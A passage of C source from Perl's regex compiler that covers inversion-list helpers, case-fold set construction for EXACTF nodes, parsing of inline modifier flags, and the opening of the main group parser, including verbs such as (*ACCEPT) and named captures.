PERL_ARGS_ASSERT_INVLIST_ITERFINISH; *get_invlist_iter_addr(invlist) = (STRLEN) UV_MAX; } STATIC bool S_invlist_iternext(SV* invlist, UV* start, UV* end) { /* An C<invlist_iterinit> call on <invlist> must be used to set this up. * This call sets in <*start> and <*end>, the next range in <invlist>. * Returns <TRUE> if successful and the next call will return the next * range; <FALSE> if was already at the end of the list. If the latter, * <*start> and <*end> are unchanged, and the next call to this function * will start over at the beginning of the list */ STRLEN* pos = get_invlist_iter_addr(invlist); UV len = _invlist_len(invlist); UV *array; PERL_ARGS_ASSERT_INVLIST_ITERNEXT; if (*pos >= len) { *pos = (STRLEN) UV_MAX; /* Force iterinit() to be required next time */ return FALSE; } array = invlist_array(invlist); *start = array[(*pos)++]; if (*pos >= len) { *end = UV_MAX; } else { *end = array[(*pos)++] - 1; } return TRUE; } PERL_STATIC_INLINE UV S_invlist_highest(SV* const invlist) { /* Returns the highest code point that matches an inversion list. This API * has an ambiguity, as it returns 0 under either the highest is actually * 0, or if the list is empty. If this distinction matters to you, check * for emptiness before calling this function */ UV len = _invlist_len(invlist); UV *array; PERL_ARGS_ASSERT_INVLIST_HIGHEST; if (len == 0) { return 0; } array = invlist_array(invlist); /* The last element in the array in the inversion list always starts a * range that goes to infinity. That range may be for code points that are * matched in the inversion list, or it may be for ones that aren't * matched. In the latter case, the highest code point in the set is one * less than the beginning of this range; otherwise it is the final element * of this range: infinity */ return (ELEMENT_RANGE_MATCHES_INVLIST(len - 1)) ? UV_MAX : array[len - 1] - 1; } STATIC SV * S_invlist_contents(pTHX_ SV* const invlist, const bool traditional_style) { /* Get the contents of an inversion list into a string SV so that they can * be printed out. If 'traditional_style' is TRUE, it uses the format * traditionally done for debug tracing; otherwise it uses a format * suitable for just copying to the output, with blanks between ranges and * a dash between range components */ UV start, end; SV* output; const char intra_range_delimiter = (traditional_style ? '\t' : '-'); const char inter_range_delimiter = (traditional_style ? '\n' : ' '); if (traditional_style) { output = newSVpvs("\n"); } else { output = newSVpvs(""); } PERL_ARGS_ASSERT_INVLIST_CONTENTS; assert(! invlist_is_iterating(invlist)); invlist_iterinit(invlist); while (invlist_iternext(invlist, &start, &end)) { if (end == UV_MAX) { Perl_sv_catpvf(aTHX_ output, "%04" UVXf "%cINFTY%c", start, intra_range_delimiter, inter_range_delimiter); } else if (end != start) { Perl_sv_catpvf(aTHX_ output, "%04" UVXf "%c%04" UVXf "%c", start, intra_range_delimiter, end, inter_range_delimiter); } else { Perl_sv_catpvf(aTHX_ output, "%04" UVXf "%c", start, inter_range_delimiter); } } if (SvCUR(output) && ! traditional_style) {/* Get rid of trailing blank */ SvCUR_set(output, SvCUR(output) - 1); } return output; } #ifndef PERL_IN_XSUB_RE void Perl__invlist_dump(pTHX_ PerlIO *file, I32 level, const char * const indent, SV* const invlist) { /* Designed to be called only by do_sv_dump(). Dumps out the ranges of the * inversion list 'invlist' to 'file' at 'level' Each line is prefixed by * the string 'indent'. The output looks like this: [0] 0x000A .. 0x000D [2] 0x0085 [4] 0x2028 .. 0x2029 [6] 0x3104 .. INFTY * This means that the first range of code points matched by the list are * 0xA through 0xD; the second range contains only the single code point * 0x85, etc. An inversion list is an array of UVs. Two array elements * are used to define each range (except if the final range extends to * infinity, only a single element is needed). The array index of the * first element for the corresponding range is given in brackets. */ UV start, end; STRLEN count = 0; PERL_ARGS_ASSERT__INVLIST_DUMP; if (invlist_is_iterating(invlist)) { Perl_dump_indent(aTHX_ level, file, "%sCan't dump inversion list because is in middle of iterating\n", indent); return; } invlist_iterinit(invlist); while (invlist_iternext(invlist, &start, &end)) { if (end == UV_MAX) { Perl_dump_indent(aTHX_ level, file, "%s[%" UVuf "] 0x%04" UVXf " .. INFTY\n", indent, (UV)count, start); } else if (end != start) { Perl_dump_indent(aTHX_ level, file, "%s[%" UVuf "] 0x%04" UVXf " .. 0x%04" UVXf "\n", indent, (UV)count, start, end); } else { Perl_dump_indent(aTHX_ level, file, "%s[%" UVuf "] 0x%04" UVXf "\n", indent, (UV)count, start); } count += 2; } } #endif #if defined(PERL_ARGS_ASSERT__INVLISTEQ) && !defined(PERL_IN_XSUB_RE) bool Perl__invlistEQ(pTHX_ SV* const a, SV* const b, const bool complement_b) { /* Return a boolean as to if the two passed in inversion lists are * identical. The final argument, if TRUE, says to take the complement of * the second inversion list before doing the comparison */ const UV len_a = _invlist_len(a); UV len_b = _invlist_len(b); const UV* array_a = NULL; const UV* array_b = NULL; PERL_ARGS_ASSERT__INVLISTEQ; /* This code avoids accessing the arrays unless it knows the length is * non-zero */ if (len_a == 0) { if (len_b == 0) { return ! complement_b; } } else { array_a = invlist_array(a); } if (len_b != 0) { array_b = invlist_array(b); } /* If are to compare 'a' with the complement of b, set it * up so are looking at b's complement. */ if (complement_b) { /* The complement of nothing is everything, so <a> would have to have * just one element, starting at zero (ending at infinity) */ if (len_b == 0) { return (len_a == 1 && array_a[0] == 0); } if (array_b[0] == 0) { /* Otherwise, to complement, we invert. Here, the first element is * 0, just remove it. To do this, we just pretend the array starts * one later */ array_b++; len_b--; } else { /* But if the first element is not zero, we pretend the list starts * at the 0 that is always stored immediately before the array. */ array_b--; len_b++; } } return len_a == len_b && memEQ(array_a, array_b, len_a * sizeof(array_a[0])); } #endif /* * As best we can, determine the characters that can match the start of * the given EXACTF-ish node. This is for use in creating ssc nodes, so there * can be false positive matches * * Returns the invlist as a new SV*; it is the caller's responsibility to * call SvREFCNT_dec() when done with it. */ STATIC SV* S__make_exactf_invlist(pTHX_ RExC_state_t *pRExC_state, regnode *node) { dVAR; const U8 * s = (U8*)STRING(node); SSize_t bytelen = STR_LEN(node); UV uc; /* Start out big enough for 2 separate code points */ SV* invlist = _new_invlist(4); PERL_ARGS_ASSERT__MAKE_EXACTF_INVLIST; if (! UTF) { uc = *s; /* We punt and assume can match anything if the node begins * with a multi-character fold. Things are complicated. For * example, /ffi/i could match any of: * "\N{LATIN SMALL LIGATURE FFI}" * "\N{LATIN SMALL LIGATURE FF}I" * "F\N{LATIN SMALL LIGATURE FI}" * plus several other things; and making sure we have all the * possibilities is hard. */ if (is_MULTI_CHAR_FOLD_latin1_safe(s, s + bytelen)) { invlist = _add_range_to_invlist(invlist, 0, UV_MAX); } else { /* Any Latin1 range character can potentially match any * other depending on the locale, and in Turkic locales, U+130 and * U+131 */ if (OP(node) == EXACTFL) { _invlist_union(invlist, PL_Latin1, &invlist); invlist = add_cp_to_invlist(invlist, LATIN_SMALL_LETTER_DOTLESS_I); invlist = add_cp_to_invlist(invlist, LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE); } else { /* But otherwise, it matches at least itself. We can * quickly tell if it has a distinct fold, and if so, * it matches that as well */ invlist = add_cp_to_invlist(invlist, uc); if (IS_IN_SOME_FOLD_L1(uc)) invlist = add_cp_to_invlist(invlist, PL_fold_latin1[uc]); } /* Some characters match above-Latin1 ones under /i. This * is true of EXACTFL ones when the locale is UTF-8 */ if (HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(uc) && (! isASCII(uc) || (OP(node) != EXACTFAA && OP(node) != EXACTFAA_NO_TRIE))) { add_above_Latin1_folds(pRExC_state, (U8) uc, &invlist); } } } else { /* Pattern is UTF-8 */ U8 folded[UTF8_MAX_FOLD_CHAR_EXPAND * UTF8_MAXBYTES_CASE + 1] = { '\0' }; const U8* e = s + bytelen; IV fc; fc = uc = utf8_to_uvchr_buf(s, s + bytelen, NULL); /* The only code points that aren't folded in a UTF EXACTFish * node are are the problematic ones in EXACTFL nodes */ if (OP(node) == EXACTFL && is_PROBLEMATIC_LOCALE_FOLDEDS_START_cp(uc)) { /* We need to check for the possibility that this EXACTFL * node begins with a multi-char fold. Therefore we fold * the first few characters of it so that we can make that * check */ U8 *d = folded; int i; fc = -1; for (i = 0; i < UTF8_MAX_FOLD_CHAR_EXPAND && s < e; i++) { if (isASCII(*s)) { *(d++) = (U8) toFOLD(*s); if (fc < 0) { /* Save the first fold */ fc = *(d-1); } s++; } else { STRLEN len; UV fold = toFOLD_utf8_safe(s, e, d, &len); if (fc < 0) { /* Save the first fold */ fc = fold; } d += len; s += UTF8SKIP(s); } } /* And set up so the code below that looks in this folded * buffer instead of the node's string */ e = d; s = folded; } /* When we reach here 's' points to the fold of the first * character(s) of the node; and 'e' points to far enough along * the folded string to be just past any possible multi-char * fold. * * Unlike the non-UTF-8 case, the macro for determining if a * string is a multi-char fold requires all the characters to * already be folded. This is because of all the complications * if not. Note that they are folded anyway, except in EXACTFL * nodes. Like the non-UTF case above, we punt if the node * begins with a multi-char fold */ if (is_MULTI_CHAR_FOLD_utf8_safe(s, e)) { invlist = _add_range_to_invlist(invlist, 0, UV_MAX); } else { /* Single char fold */ unsigned int k; unsigned int first_fold; const unsigned int * remaining_folds; Size_t folds_count; /* It matches itself */ invlist = add_cp_to_invlist(invlist, fc); /* ... plus all the things that fold to it, which are found in * PL_utf8_foldclosures */ folds_count = _inverse_folds(fc, &first_fold, &remaining_folds); for (k = 0; k < folds_count; k++) { UV c = (k == 0) ? first_fold : remaining_folds[k-1]; /* /aa doesn't allow folds between ASCII and non- */ if ( (OP(node) == EXACTFAA || OP(node) == EXACTFAA_NO_TRIE) && isASCII(c) != isASCII(fc)) { continue; } invlist = add_cp_to_invlist(invlist, c); } if (OP(node) == EXACTFL) { /* If either [iI] are present in an EXACTFL node the above code * should have added its normal case pair, but under a Turkish * locale they could match instead the case pairs from it. Add * those as potential matches as well */ if (isALPHA_FOLD_EQ(fc, 'I')) { invlist = add_cp_to_invlist(invlist, LATIN_SMALL_LETTER_DOTLESS_I); invlist = add_cp_to_invlist(invlist, LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE); } else if (fc == LATIN_SMALL_LETTER_DOTLESS_I) { invlist = add_cp_to_invlist(invlist, 'I'); } else if (fc == LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE) { invlist = add_cp_to_invlist(invlist, 'i'); } } } } return invlist; } #undef HEADER_LENGTH #undef TO_INTERNAL_SIZE #undef FROM_INTERNAL_SIZE #undef INVLIST_VERSION_ID /* End of inversion list object */ STATIC void S_parse_lparen_question_flags(pTHX_ RExC_state_t *pRExC_state) { /* This parses the flags that are in either the '(?foo)' or '(?foo:bar)' * constructs, and updates RExC_flags with them. On input, RExC_parse * should point to the first flag; it is updated on output to point to the * final ')' or ':'. There needs to be at least one flag, or this will * abort */ /* for (?g), (?gc), and (?o) warnings; warning about (?c) will warn about (?g) -- japhy */ #define WASTED_O 0x01 #define WASTED_G 0x02 #define WASTED_C 0x04 #define WASTED_GC (WASTED_G|WASTED_C) I32 wastedflags = 0x00; U32 posflags = 0, negflags = 0; U32 *flagsp = &posflags; char has_charset_modifier = '\0'; regex_charset cs; bool has_use_defaults = FALSE; const char* const seqstart = RExC_parse - 1; /* Point to the '?' */ int x_mod_count = 0; PERL_ARGS_ASSERT_PARSE_LPAREN_QUESTION_FLAGS; /* '^' as an initial flag sets certain defaults */ if (UCHARAT(RExC_parse) == '^') { RExC_parse++; has_use_defaults = TRUE; STD_PMMOD_FLAGS_CLEAR(&RExC_flags); cs = (RExC_uni_semantics) ? REGEX_UNICODE_CHARSET : REGEX_DEPENDS_CHARSET; set_regex_charset(&RExC_flags, cs); } else { cs = get_regex_charset(RExC_flags); if ( cs == REGEX_DEPENDS_CHARSET && RExC_uni_semantics) { cs = REGEX_UNICODE_CHARSET; } } while (RExC_parse < RExC_end) { /* && strchr("iogcmsx", *RExC_parse) */ /* (?g), (?gc) and (?o) are useless here and must be globally applied -- japhy */ switch (*RExC_parse) { /* Code for the imsxn flags */ CASE_STD_PMMOD_FLAGS_PARSE_SET(flagsp, x_mod_count); case LOCALE_PAT_MOD: if (has_charset_modifier) { goto excess_modifier; } else if (flagsp == &negflags) { goto neg_modifier; } cs = REGEX_LOCALE_CHARSET; has_charset_modifier = LOCALE_PAT_MOD; break; case UNICODE_PAT_MOD: if (has_charset_modifier) { goto excess_modifier; } else if (flagsp == &negflags) { goto neg_modifier; } cs = REGEX_UNICODE_CHARSET; has_charset_modifier = UNICODE_PAT_MOD; break; case ASCII_RESTRICT_PAT_MOD: if (flagsp == &negflags) { goto neg_modifier; } if (has_charset_modifier) { if (cs != REGEX_ASCII_RESTRICTED_CHARSET) { goto excess_modifier; } /* Doubled modifier implies more restricted */ cs = REGEX_ASCII_MORE_RESTRICTED_CHARSET; } else { cs = REGEX_ASCII_RESTRICTED_CHARSET; } has_charset_modifier = ASCII_RESTRICT_PAT_MOD; break; case DEPENDS_PAT_MOD: if (has_use_defaults) { goto fail_modifiers; } else if (flagsp == &negflags) { goto neg_modifier; } else if (has_charset_modifier) { goto excess_modifier; } /* The dual charset means unicode semantics if the * pattern (or target, not known until runtime) are * utf8, or something in the pattern indicates unicode * semantics */ cs = (RExC_uni_semantics) ? REGEX_UNICODE_CHARSET : REGEX_DEPENDS_CHARSET; has_charset_modifier = DEPENDS_PAT_MOD; break; excess_modifier: RExC_parse++; if (has_charset_modifier == ASCII_RESTRICT_PAT_MOD) { vFAIL2("Regexp modifier \"%c\" may appear a maximum of twice", ASCII_RESTRICT_PAT_MOD); } else if (has_charset_modifier == *(RExC_parse - 1)) { vFAIL2("Regexp modifier \"%c\" may not appear twice", *(RExC_parse - 1)); } else { vFAIL3("Regexp modifiers \"%c\" and \"%c\" are mutually exclusive", has_charset_modifier, *(RExC_parse - 1)); } NOT_REACHED; /*NOTREACHED*/ neg_modifier: RExC_parse++; vFAIL2("Regexp modifier \"%c\" may not appear after the \"-\"", *(RExC_parse - 1)); NOT_REACHED; /*NOTREACHED*/ case ONCE_PAT_MOD: /* 'o' */ case GLOBAL_PAT_MOD: /* 'g' */ if (ckWARN(WARN_REGEXP)) { const I32 wflagbit = *RExC_parse == 'o' ? WASTED_O : WASTED_G; if (! (wastedflags & wflagbit) ) { wastedflags |= wflagbit; /* diag_listed_as: Useless (?-%s) - don't use /%s modifier in regex; marked by <-- HERE in m/%s/ */ vWARN5( RExC_parse + 1, "Useless (%s%c) - %suse /%c modifier", flagsp == &negflags ? "?-" : "?", *RExC_parse, flagsp == &negflags ? "don't " : "", *RExC_parse ); } } break; case CONTINUE_PAT_MOD: /* 'c' */ if (ckWARN(WARN_REGEXP)) { if (! (wastedflags & WASTED_C) ) { wastedflags |= WASTED_GC; /* diag_listed_as: Useless (?-%s) - don't use /%s modifier in regex; marked by <-- HERE in m/%s/ */ vWARN3( RExC_parse + 1, "Useless (%sc) - %suse /gc modifier", flagsp == &negflags ? "?-" : "?", flagsp == &negflags ? "don't " : "" ); } } break; case KEEPCOPY_PAT_MOD: /* 'p' */ if (flagsp == &negflags) { ckWARNreg(RExC_parse + 1,"Useless use of (?-p)"); } else { *flagsp |= RXf_PMf_KEEPCOPY; } break; case '-': /* A flag is a default iff it is following a minus, so * if there is a minus, it means will be trying to * re-specify a default which is an error */ if (has_use_defaults || flagsp == &negflags) { goto fail_modifiers; } flagsp = &negflags; wastedflags = 0; /* reset so (?g-c) warns twice */ x_mod_count = 0; break; case ':': case ')': if ((posflags & (RXf_PMf_EXTENDED|RXf_PMf_EXTENDED_MORE)) == RXf_PMf_EXTENDED) { negflags |= RXf_PMf_EXTENDED_MORE; } RExC_flags |= posflags; if (negflags & RXf_PMf_EXTENDED) { negflags |= RXf_PMf_EXTENDED_MORE; } RExC_flags &= ~negflags; set_regex_charset(&RExC_flags, cs); return; default: fail_modifiers: RExC_parse += SKIP_IF_CHAR(RExC_parse, RExC_end); /* diag_listed_as: Sequence (?%s...) not recognized in regex; marked by <-- HERE in m/%s/ */ vFAIL2utf8f("Sequence (%" UTF8f "...) not recognized", UTF8fARG(UTF, RExC_parse-seqstart, seqstart)); NOT_REACHED; /*NOTREACHED*/ } RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1; } vFAIL("Sequence (?... not terminated"); } /* - reg - regular expression, i.e. main body or parenthesized thing * * Caller must absorb opening parenthesis. * * Combining parenthesis handling with the base level of regular expression * is a trifle forced, but the need to tie the tails of the branches to what * follows makes it hard to avoid. */ #define REGTAIL(x,y,z) regtail((x),(y),(z),depth+1) #ifdef DEBUGGING #define REGTAIL_STUDY(x,y,z) regtail_study((x),(y),(z),depth+1) #else #define REGTAIL_STUDY(x,y,z) regtail((x),(y),(z),depth+1) #endif PERL_STATIC_INLINE regnode_offset S_handle_named_backref(pTHX_ RExC_state_t *pRExC_state, I32 *flagp, char * parse_start, char ch ) { regnode_offset ret; char* name_start = RExC_parse; U32 num = 0; SV *sv_dat = reg_scan_name(pRExC_state, REG_RSN_RETURN_DATA); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_HANDLE_NAMED_BACKREF; if (RExC_parse == name_start || *RExC_parse != ch) { /* diag_listed_as: Sequence \%s... not terminated in regex; marked by <-- HERE in m/%s/ */ vFAIL2("Sequence %.3s... not terminated", parse_start); } if (sv_dat) { num = add_data( pRExC_state, STR_WITH_LEN("S")); RExC_rxi->data->data[num]=(void*)sv_dat; SvREFCNT_inc_simple_void_NN(sv_dat); } RExC_sawback = 1; ret = reganode(pRExC_state, ((! FOLD) ? NREF : (ASCII_FOLD_RESTRICTED) ? NREFFA : (AT_LEAST_UNI_SEMANTICS) ? NREFFU : (LOC) ? NREFFL : NREFF), num); *flagp |= HASWIDTH; Set_Node_Offset(REGNODE_p(ret), parse_start+1); Set_Node_Cur_Length(REGNODE_p(ret), parse_start); nextchar(pRExC_state); return ret; } /* On success, returns the offset at which any next node should be placed into * the regex engine program being compiled. * * Returns 0 otherwise, with *flagp set to indicate why: * TRYAGAIN at the end of (?) that only sets flags. * RESTART_PARSE if the parse needs to be restarted, or'd with * NEED_UTF8 if the pattern needs to be upgraded to UTF-8. * Otherwise would only return 0 if regbranch() returns 0, which cannot * happen. */ STATIC regnode_offset S_reg(pTHX_ RExC_state_t *pRExC_state, I32 paren, I32 *flagp, U32 depth) /* paren: Parenthesized? 0=top; 1,2=inside '(': changed to letter. * 2 is like 1, but indicates that nextchar() has been called to advance * RExC_parse beyond the '('. Things like '(?' are indivisible tokens, and * this flag alerts us to the need to check for that */ { regnode_offset ret = 0; /* Will be the head of the group. */ regnode_offset br; regnode_offset lastbr; regnode_offset ender = 0; I32 parno = 0; I32 flags; U32 oregflags = RExC_flags; bool have_branch = 0; bool is_open = 0; I32 freeze_paren = 0; I32 after_freeze = 0; I32 num; /* numeric backreferences */ SV * max_open; /* Max number of unclosed parens */ char * parse_start = RExC_parse; /* MJD */ char * const oregcomp_parse = RExC_parse; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REG; DEBUG_PARSE("reg "); max_open = get_sv(RE_COMPILE_RECURSION_LIMIT, GV_ADD); assert(max_open); if (!SvIOK(max_open)) { sv_setiv(max_open, RE_COMPILE_RECURSION_INIT); } if (depth > 4 * (UV) SvIV(max_open)) { /* We increase depth by 4 for each open paren */ vFAIL("Too many nested open parens"); } *flagp = 0; /* Tentatively. */ /* Having this true makes it feasible to have a lot fewer tests for the * parse pointer being in scope. For example, we can write * while(isFOO(*RExC_parse)) RExC_parse++; * instead of * while(RExC_parse < RExC_end && isFOO(*RExC_parse)) RExC_parse++; */ assert(*RExC_end == '\0'); /* Make an OPEN node, if parenthesized. */ if (paren) { /* Under /x, space and comments can be gobbled up between the '(' and * here (if paren ==2). The forms '(*VERB' and '(?...' disallow such * intervening space, as the sequence is a token, and a token should be * indivisible */ bool has_intervening_patws = (paren == 2) && *(RExC_parse - 1) != '('; if (RExC_parse >= RExC_end) { vFAIL("Unmatched ("); } if (paren == 'r') { /* Atomic script run */ paren = '>'; goto parse_rest; } else if ( *RExC_parse == '*') { /* (*VERB:ARG), (*construct:...) */ char *start_verb = RExC_parse + 1; STRLEN verb_len; char *start_arg = NULL; unsigned char op = 0; int arg_required = 0; int internal_argval = -1; /* if >-1 we are not allowed an argument*/ bool has_upper = FALSE; if (has_intervening_patws) { RExC_parse++; /* past the '*' */ /* For strict backwards compatibility, don't change the message * now that we also have lowercase operands */ if (isUPPER(*RExC_parse)) { vFAIL("In '(*VERB...)', the '(' and '*' must be adjacent"); } else { vFAIL("In '(*...)', the '(' and '*' must be adjacent"); } } while (RExC_parse < RExC_end && *RExC_parse != ')' ) { if ( *RExC_parse == ':' ) { start_arg = RExC_parse + 1; break; } else if (! UTF) { if (isUPPER(*RExC_parse)) { has_upper = TRUE; } RExC_parse++; } else { RExC_parse += UTF8SKIP(RExC_parse); } } verb_len = RExC_parse - start_verb; if ( start_arg ) { if (RExC_parse >= RExC_end) { goto unterminated_verb_pattern; } RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1; while ( RExC_parse < RExC_end && *RExC_parse != ')' ) { RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1; } if ( RExC_parse >= RExC_end || *RExC_parse != ')' ) { unterminated_verb_pattern: if (has_upper) { vFAIL("Unterminated verb pattern argument"); } else { vFAIL("Unterminated '(*...' argument"); } } } else { if ( RExC_parse >= RExC_end || *RExC_parse != ')' ) { if (has_upper) { vFAIL("Unterminated verb pattern"); } else { vFAIL("Unterminated '(*...' construct"); } } } /* Here, we know that RExC_parse < RExC_end */ switch ( *start_verb ) { case 'A': /* (*ACCEPT) */ if ( memEQs(start_verb, verb_len,"ACCEPT") ) { op = ACCEPT; internal_argval = RExC_nestroot; } break; case 'C': /* (*COMMIT) */ if ( memEQs(start_verb, verb_len,"COMMIT") ) op = COMMIT; break; case 'F': /* (*FAIL) */ if ( verb_len==1 || memEQs(start_verb, verb_len,"FAIL") ) { op = OPFAIL; } break; case ':': /* (*:NAME) */ case 'M': /* (*MARK:NAME) */ if ( verb_len==0 || memEQs(start_verb, verb_len,"MARK") ) { op = MARKPOINT; arg_required = 1; } break; case 'P': /* (*PRUNE) */ if ( memEQs(start_verb, verb_len,"PRUNE") ) op = PRUNE; break; case 'S': /* (*SKIP) */ if ( memEQs(start_verb, verb_len,"SKIP") ) op = SKIP; break; case 'T': /* (*THEN) */ /* [19:06] <TimToady> :: is then */ if ( memEQs(start_verb, verb_len,"THEN") ) { op = CUTGROUP; RExC_seen |= REG_CUTGROUP_SEEN; } break; case 'a': if ( memEQs(start_verb, verb_len, "asr") || memEQs(start_verb, verb_len, "atomic_script_run")) { paren = 'r'; /* Mnemonic: recursed run */ goto script_run; } else if (memEQs(start_verb, verb_len, "atomic")) { paren = 't'; /* AtOMIC */ goto alpha_assertions; } break; case 'p': if ( memEQs(start_verb, verb_len, "plb") || memEQs(start_verb, verb_len, "positive_lookbehind")) { paren = 'b'; goto lookbehind_alpha_assertions; } else if ( memEQs(start_verb, verb_len, "pla") || memEQs(start_verb, verb_len, "positive_lookahead")) { paren = 'a'; goto alpha_assertions; } break; case 'n': if ( memEQs(start_verb, verb_len, "nlb") || memEQs(start_verb, verb_len, "negative_lookbehind")) { paren = 'B'; goto lookbehind_alpha_assertions; } else if ( memEQs(start_verb, verb_len, "nla") || memEQs(start_verb, verb_len, "negative_lookahead")) { paren = 'A'; goto alpha_assertions; } break; case 's': if ( memEQs(start_verb, verb_len, "sr") || memEQs(start_verb, verb_len, "script_run")) { regnode_offset atomic; paren = 's'; script_run: /* This indicates Unicode rules. */ REQUIRE_UNI_RULES(flagp, 0); if (! start_arg) { goto no_colon; } RExC_parse = start_arg; if (RExC_in_script_run) { /* Nested script runs are treated as no-ops, because * if the nested one fails, the outer one must as * well. It could fail sooner, and avoid (??{} with * side effects, but that is explicitly documented as * undefined behavior. */ ret = 0; if (paren == 's') { paren = ':'; goto parse_rest; } /* But, the atomic part of a nested atomic script run * isn't a no-op, but can be treated just like a '(?>' * */ paren = '>'; goto parse_rest; } /* By doing this here, we avoid extra warnings for nested * script runs */ ckWARNexperimental(RExC_parse, WARN_EXPERIMENTAL__SCRIPT_RUN, "The script_run feature is experimental"); if (paren == 's') { /* Here, we're starting a new regular script run */ ret = reg_node(pRExC_state, SROPEN); RExC_in_script_run = 1; is_open = 1; goto parse_rest; } /* Here, we are starting an atomic script run. This is * handled by recursing to deal with the atomic portion * separately, enclosed in SROPEN ... SRCLOSE nodes */ ret = reg_node(pRExC_state, SROPEN); RExC_in_script_run = 1; atomic = reg(pRExC_state, 'r', &flags, depth); if (flags & (RESTART_PARSE|NEED_UTF8)) { *flagp = flags & (RESTART_PARSE|NEED_UTF8); return 0; } if (! REGTAIL(pRExC_state, ret, atomic)) { REQUIRE_BRANCHJ(flagp, 0); } if (! REGTAIL(pRExC_state, atomic, reg_node(pRExC_state, SRCLOSE))) { REQUIRE_BRANCHJ(flagp, 0); } RExC_in_script_run = 0; return ret; } break; lookbehind_alpha_assertions: RExC_seen |= REG_LOOKBEHIND_SEEN; RExC_in_lookbehind++; /*FALLTHROUGH*/ alpha_assertions: ckWARNexperimental(RExC_parse, WARN_EXPERIMENTAL__ALPHA_ASSERTIONS, "The alpha_assertions feature is experimental"); RExC_seen_zerolen++; if (! start_arg) { goto no_colon; } /* An empty negative lookahead assertion simply is failure */ if (paren == 'A' && RExC_parse == start_arg) { ret=reganode(pRExC_state, OPFAIL, 0); nextchar(pRExC_state); return ret; } RExC_parse = start_arg; goto parse_rest; no_colon: vFAIL2utf8f( "'(*%" UTF8f "' requires a terminating ':'", UTF8fARG(UTF, verb_len, start_verb)); NOT_REACHED; /*NOTREACHED*/ } /* End of switch */ if ( ! op ) { RExC_parse += UTF ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; if (has_upper || verb_len == 0) { vFAIL2utf8f( "Unknown verb pattern '%" UTF8f "'", UTF8fARG(UTF, verb_len, start_verb)); } else { vFAIL2utf8f( "Unknown '(*...)' construct '%" UTF8f "'", UTF8fARG(UTF, verb_len, start_verb)); } } if ( RExC_parse == start_arg ) { start_arg = NULL; } if ( arg_required && !start_arg ) { vFAIL3("Verb pattern '%.*s' has a mandatory argument", verb_len, start_verb); } if (internal_argval == -1) { ret = reganode(pRExC_state, op, 0); } else { ret = reg2Lanode(pRExC_state, op, 0, internal_argval); } RExC_seen |= REG_VERBARG_SEEN; if (start_arg) { SV *sv = newSVpvn( start_arg, RExC_parse - start_arg); ARG(REGNODE_p(ret)) = add_data( pRExC_state, STR_WITH_LEN("S")); RExC_rxi->data->data[ARG(REGNODE_p(ret))]=(void*)sv; FLAGS(REGNODE_p(ret)) = 1; } else { FLAGS(REGNODE_p(ret)) = 0; } if ( internal_argval != -1 ) ARG2L_SET(REGNODE_p(ret), internal_argval); nextchar(pRExC_state); return ret; } else if (*RExC_parse == '?') { /* (?...) */ bool is_logical = 0; const char * const seqstart = RExC_parse; const char * endptr; if (has_intervening_patws) { RExC_parse++; vFAIL("In '(?...)', the '(' and '?' must be adjacent"); } RExC_parse++; /* past the '?' */ paren = *RExC_parse; /* might be a trailing NUL, if not well-formed */ RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1; if (RExC_parse > RExC_end) { paren = '\0'; } ret = 0; /* For look-ahead/behind. */ switch (paren) { case 'P': /* (?P...) variants for those used to PCRE/Python */ paren = *RExC_parse; if ( paren == '<') { /* (?P<...>) named capture */ RExC_parse++; if (RExC_parse >= RExC_end) { vFAIL("Sequence (?P<... not terminated"); } goto named_capture; } else if (paren == '>') { /* (?P>name) named recursion */ RExC_parse++; if (RExC_parse >= RExC_end) { vFAIL("Sequence (?P>... not terminated"); } goto named_recursion; } else if (paren == '=') { /* (?P=...) named backref */ RExC_parse++; return handle_named_backref(pRExC_state, flagp, parse_start, ')'); } RExC_parse += SKIP_IF_CHAR(RExC_parse, RExC_end); /* diag_listed_as: Sequence (?%s...) not recognized in regex; marked by <-- HERE in m/%s/ */ vFAIL3("Sequence (%.*s...) not recognized", RExC_parse-seqstart, seqstart); NOT_REACHED; /*NOTREACHED*/ case '<': /* (?<...) */ if (*RExC_parse == '!') paren = ','; else if (*RExC_parse != '=') named_capture: { /* (?<...>) */ char *name_start; SV *svname; paren= '>'; /* FALLTHROUGH */ case '\'': /* (?'...') */ name_start = RExC_parse; svname = reg_scan_name(pRExC_state, REG_RSN_RETURN_NAME); if ( RExC_parse == name_start || RExC_parse >= RExC_end || *RExC_parse != paren) { vFAIL2("Sequence (?%c... not terminated", paren=='>' ? '<' : paren); } { HE *he_str; SV *sv_dat = NULL; if (!svname) /* shouldn't happen */ Perl_croak(aTHX_ "panic: reg_scan_name returned NULL"); if (!RExC_paren_names) { RExC_paren_names= newHV(); sv_2mortal(MUTABLE_SV(RExC_paren_names)); #ifdef DEBUGGING RExC_paren_name_list= newAV(); sv_2mortal(MUTABLE_SV(RExC_paren_name_list)); #endif } he_str = hv_fetch_ent( RExC_paren_names, svname, 1, 0 ); if ( he_str ) sv_dat = HeVAL(he_str); if ( ! sv_dat ) { /* croak baby croak */ Perl_croak(aTHX_ "panic: paren_name hash element allocation failed"); } else if ( SvPOK(sv_dat) ) { /* (?|...) can mean we have dupes so scan to check its already been stored. Maybe a flag indicating we are inside such a construct would be useful, but the arrays are likely to be quite small, so for now we punt -- dmq */ IV count = SvIV(sv_dat); I32 *pv = (I32*)SvPVX(sv_dat); IV i; for ( i = 0 ; i < count ; i++ ) { if ( pv[i] == RExC_npar ) { count = 0; break; } } if ( count ) { pv = (I32*)SvGROW(sv_dat, SvCUR(sv_dat) + sizeof(I32)+1); SvCUR_set(sv_dat, SvCUR(sv_dat) + sizeof(I32)); pv[count] = RExC_npar; SvIV_set(sv_dat, SvIVX(sv_dat) + 1); } } else { (void)SvUPGRADE(sv_dat, SVt_PVNV); sv_setpvn(sv_dat, (char *)&(RExC_npar), sizeof(I32)); SvIOK_on(sv_dat); SvIV_set(sv_dat, 1); } #ifdef DEBUGGING /* Yes this does cause a memory leak in debugging Perls * */ if (!av_store(RExC_paren_name_list, RExC_npar, 